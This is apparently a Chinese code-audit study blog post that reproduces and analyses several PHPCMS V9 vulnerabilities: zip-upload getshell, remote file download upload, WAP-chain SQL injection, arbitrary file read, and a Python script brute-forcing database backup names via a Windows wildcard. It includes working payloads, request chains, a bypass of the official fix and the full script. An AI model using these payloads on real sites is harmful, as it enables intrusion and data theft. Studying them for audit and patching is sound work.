学习代码审计,自己简单记录一下。如有错误望师傅斧正。
PHPCMS预备知识
PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。
参数名称 | 描述 | 位置 | 备注 |
---|---|---|---|
m | 模型/模块名称 | phpcms/modules中模块目录名称 |
必须 |
c | 控制器名称 | phpcms/modules/模块/*.php 文件名称 |
必须 |
a | 事件名称 | phpcms/modules/模块/*.php 中方法名称 |
PHPCMSV9.2上传Getshell
漏洞复现
我们搭建好环境直接注册,找到修改头像。
我们在本地创建一个zip文件里面包含一个文件夹,一个我们的恶意代码。通过Burp修改掉。
访问phpsso_server/uploadfile/avatar/1/1/1/av/av.php
其中1是我们的uid
漏洞分析
重复以上步骤。通过burp我们找到上传事件,我们直接去代码定位这个函数。
然后去代码找到函数直接断点调试
根据用户UID创建文件夹,防止用户多了文件夹重复创建了两次,然后检测目录创建,没有就创建一次,否则跳过。
根据uid重命名我们的压缩包文件
压缩包的文件就是我们上传的压缩包文件
之后进行解压缩文件
之后进入dir中循环判断文件安全,删除压缩包和非jpg图片
走到遍历白名单判断文件,排除.
(当前目录)..
(上级目录)下图删除了压缩包文件
再次循环时$file=av 而av是目录。unlink是不能删除目录的。所以出现异常。
所以进而我们的恶意文件留在了服务器里面。这就是为什么上面利用的压缩包里的恶意代码文件需要放在目录下
漏洞修复
不使用zip压缩包处理图片文件。因为后端需要处理特别多的数据。
PHPCMSV9.6.0任意文件上传漏洞
漏洞复现
先注册然后抓包
其中要准备一个远程的服务器下的恶意代码
准备我们的POC如下
siteid=1&modelid=11&username=123456&password=123456&email=12345@qq.com&info[content]=<img src=http://192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
然后修改放包会报一个错误,会返回我们的URL路径
漏洞分析
我们直接找到刚刚我们的包,他是在index.php
进入member
模块中的index
文件里面有一个register
函数
我们现在打开我们的代码定位函数,路径如下
为了更好的理解POC的巧妙。我们正常注册一次然后用POC注册一次分析
前面就是一堆信息的验证作用不大,我们继续跟踪到130行
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']); //重点 }
在这里我们看见$_POST['info']
使用了member_input
类中的get
方法我们跟踪进去。
走到47行获取了datatime
函数,this->fields
是一个动态函数对应的一张表根据modelid
来确定的formytpe
。如下图
【也可以跟进去一步步来,微信搜索黑白天的文章。有详细解释,建议自己跟一遍】
我那们跟进去datatime
函数 就是做了一校验然后又返回给$value
然后就是插入两次数据库,一个插入v9_member
表一个生日日期和用户id插入到v9_member_detail
表中,至此正常流程走完。
接下来我们分析一下POC流程
值得注意的是我们必须保证username email是唯一
然后我们继续定位到130行,发现content
是我们的内容
经过new_html_special_chars
就是防止XSS 所以实体化
于是我们变成了下面这样子。继续跟踪get方法同上
这里我们获取的是editor
函数。
在这个函数中我们有一个download
方法
我们跟踪download方法,发现以下关键代码
$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
这就是为什么我们写info[content]=<img src-http://xxxx/phpinfo.txt?.php#.jpg(符合这个格式,而且加.jpg
的原因)
到155行这里他把我们的$string
值复制给了$matches
$matches [3]刚好是我们的链接,所以真的很巧妙
接着我们跟踪fillurl
方法,里面有一串关键代码如下
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
strpos
定位#,然后使用substr
处理?.php#.jpg
,处理完之后$surl =?.php
继续执行,可以发现返回的url去掉了#后面的内容
然后获取后缀名。然后通过getname
方法生成时间+三位数的文件名,如果不返回文件地址的url我们也可以进行爆破处理。
此时进行了copy
函数对远程文件下载
这里的$this->upload_func
是copy函数的原因,是因为初始化时赋给的
此时我们的文件已经到我们的本地了
接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了register
函数中:
继续跟进$this->db->insert($user_model_info);
发现数据库插入的字段都不一样继续执行就会报错。前台提示的信息一样,没有这个字段当然报错
Message : Unknown column 'content' in 'field list'
漏洞修复
在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext
获取到的文件后缀再用黑白名单分别过滤一次
$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
continue;
}
PHPCMSV9.6.0 WAP模块 SQL注入分析
漏洞复现
首先第一步访问
/index.php?m=wap&c=index&siteid=1
把得到的set-cookie 记录下来
第二步以POST方式访问【下面是测试爆user的】就是一个报错注入语句
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
并且传参userid_flash
其中的值就是第一步我们得到的set-cookie
userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY
把加密的json
值记录下来
第三步以POST的方式访问
/index.php?m=content&c=down&a_k=第二步得到的Json值
漏洞分析
其实我们就是通过最后一次提交的数据来爆出来的东西。我们就逆向分析。看第三步的URL做了些什么
/index.php?m=content&c=down&a_k=第二步得到的Json值
我们定位到content
模块down
文件中发现并没有a_k
方法
说明是自动执行的那就是init()
和__construct()
__construct()
基本没东西,我们直接下断init
走到14行看到sys_auth
然后他就是一个加密解密的函数,我们这里不分析加密解密只分析功能
经过sys_auth
解密得到
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}
走到17行发现一个系统函数parse_str
这个函数用不好容易出现变量覆盖。可以自己查一下
我们知道用法了就是把$id
给弄出来
然后直接到26行跟踪get_one
函数,发现后面就直接执行语句了。
肯定有人现在好奇那第三步为什么会得到这个值,我们返回到14行
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
我们怎么得到a_k的值,怎么得到的这个规范进行解密,因为他需要('system','auth_key')我们并不知道
所以我们需要知道谁调用了这个函数
我们回到第二步的POC
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&
userid_flash=Set-Cookie
我们找到attachment
模块下的attachments
文件中的swfupload_json
函数
到src
时有一个safe_replace
函数我们跟进
发现一个waf所以我们的src为什么要写成%*27的原因,就是为了绕过一次waf
继续到set_cookie
我们跟进去发现set_cookie
调用了sys_auth
这个函数并且进行了ENCODE
刚好我们又可以再前台看见
至于我们为什么要传入一个POST值,是在__construct
中如果没有这个userid
他会showmessage
而userid
是17行的关键代码。我们肯定没有userid
嘛所以三元表达式到第三个,他进行解密一次并且userid=1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
现在POST值是怎么拿到的呢,回到第一步,访问的URL
/index.php?m=wap&c=index&siteid=1
我们周到wap
下的index
下的siteid
而siteid
直接就在__construct
函数里面,于是经过一次set_cookie
加密
我们现在来顺利一下整个过程
修复建议
把$a_k过滤一次,把$id用intval
过滤一次
PHPCMS9.6.1任意文件读取
漏洞复现
步骤同上一个漏洞所以就不截图了
第一步访问把得到的set-cookie 记录下来
/index.php?m=wap&c=index&siteid=1
第二步访问
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp
同样POST传递值
userid_flash=第一步获取的Set-cookie
第三部访问
/index.php?m=content&c=down&a=init&a_k=第二步获取的set-cookie
就可以下载我们要下载的文件
漏洞分析
我们还是和wap_SQL注入
那样逆向分析一下
/index.php?m=content&c=down&a=init&a_k=set-cookie
经过解密之后
{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}
经过safe_replace
处理之后
"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp","filename":""
但是我们关键的是&s和&f没有任何变化
再经过parse_str
处理我们的url会被解码一次
$f现在就是.p%3cphp
然后downurl
发生变化我们点击下载到download函数
经过一次解密再经过parse_str
转码%3c=> <
走到118行因为传递的m=1经过$fileurl
把他拼接起来变成
.\phpcms\base.p<hp
if($m) $fileurl = trim($s).trim($fileurl); //118行代码
然后走到125行进行随机名称生成,126行他又把$fileurl
的<给去掉了
$filename = date('Ymd_his').random(3).'.'.$ext; //125
$fileurl = str_replace(array('<','>'), '',$fileurl); //126
然后就进行一个原始下载。
第二部分和第一部分参考上面wap_sql
注入,原理一样。我们现在梳理一下这个漏洞。
从最下面分析,他过滤了<> 然后到上面php等一些黑名单 那就P<HP就可以
$fileurl
是通过$s
来的和$f
来的。而$f和$s
是通过构造$a_k
来的,其中就DECODE
了两次
所以要通过siteid=1
来进行ENCODE
一次。我们为什么要传一个userid_flash
因为attachments
下的析构函数中的userid
不能为空
而我们没登陆所以需要sys_auth($_POST['userid_flash'],DECODE')
解密一下传入的userid_flash
使得userid=1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));
又经过set_cookie('att_json',$json_str)
;然后又返回到前台set-cookie
最终通过以下方法进行了下载
index.php?m=content&c=down&a=init&a_k=set-cookie
漏洞修复
官方V9.6.2是先过滤<>再进行php等黑名单过滤,我们还是可以继续通过空白字符来进行绕过的
%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件。并且得到auth_key之后还可以进行其他的操作例如SQL注入等
PHPCMSV9暴力猜解数据库
备份路径 \caches\bakup\default\xxxx.sql
而问题出现在哪,我们先看POC。
poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql
原因:
windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。
pwaaov0zodprrm5371pe_db_20210715_1.sql
file_exists --- opendir -- FindFirstFile -- << 通配符
file_exists - << 通配符
333xxxx.sql
3<<.sql
file_exists(3<<.sql)
因为返回的只不同所以我们可以逐个猜解
附上斗鱼Sec脚本
#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
mark = True
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
response = urllib2.urlopen(req)
content = response.read()
if 'Cannot' in content:
mark = False
return mark
def guest(target):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
while True:
for char in num:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
if len(arr) < 20:
for char in alpha:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
elif len(arr) == 20:
arr.append('_db_')
elif len(arr) == 29:
arr.append('_1.sql')
break
if len(arr) < 1:
print '[*]not find!'
return
print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))
if __name__ == "__main__":
url = 'http://www.x.com'
#test
guest(url)